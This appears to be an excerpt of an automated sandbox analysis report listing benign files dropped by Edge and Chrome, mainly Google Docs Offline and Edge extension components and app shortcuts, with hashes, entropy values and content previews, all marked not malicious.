Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\bff0b4bb-5e6d-4357-b1e6-94b5f91d7e1d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1894089678\79fb0a5a-fe7d-4a03-be13-45559b19b061.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1894089678\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1894089678\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1894089678\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1894089678\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 14:50:35 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9691997069934066
Encrypted:	false
SSDEEP:	48:8EdATE2GHSidAKZdA1P4ehwiZUklqehekJy+3:8nQiO/Yy
MD5:	2EF4BB69A074269764EF92B620EEF206
SHA1:	D66D5994BBD3CCCE3076CDE37FD875EE35358F84
SHA-256:	3F7249D253657B75B7F6591E32E4FF8A26ACED85BAA11C01C0908B03DEB2A46D
SHA-512:	6A293F46C11888913A41AFD2C7EF1DF20D58E04FC2B78B0D7A8B60D7A4F4CA666902B560C66533CAE03D362771EFA4D8AAEADEA86D0E03047F3B50E573BB7096
Malicious:	false
Preview:	L..................F.@.. ...$+.,........c;....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYP~....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYP~....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYP~....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYP~.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VtYR~...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............5g.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 14:50:34 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9844570643745625
Encrypted:	false
SSDEEP:	48:8vadATE2GHSidAKZdA1+4eh/iZUkAQkqehvkJy+2:85QDF9Q0Yy
MD5:	65B4811BF1A3BEB17F891A4EE397F592
SHA1:	965BBFCE6971911E4537D0A3FD5417DFA89651E8
SHA-256:	E570B0692C4E7BBC473359C3A193C22FA568531965C729F4923259E87E94E301
SHA-512:	C16BA96EE9B54CAA66738BAADA470945A140701624D306747E22773DF1C255109B07F70BD93595FF291CA549BA0657E137BD3342024284F9CF25B1F91F10CDA3
Malicious:	false
Preview:	L..................F.@.. ...$+.,........c;....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYP~....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYP~....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYP~....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYP~.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VtYR~...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............5g.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. 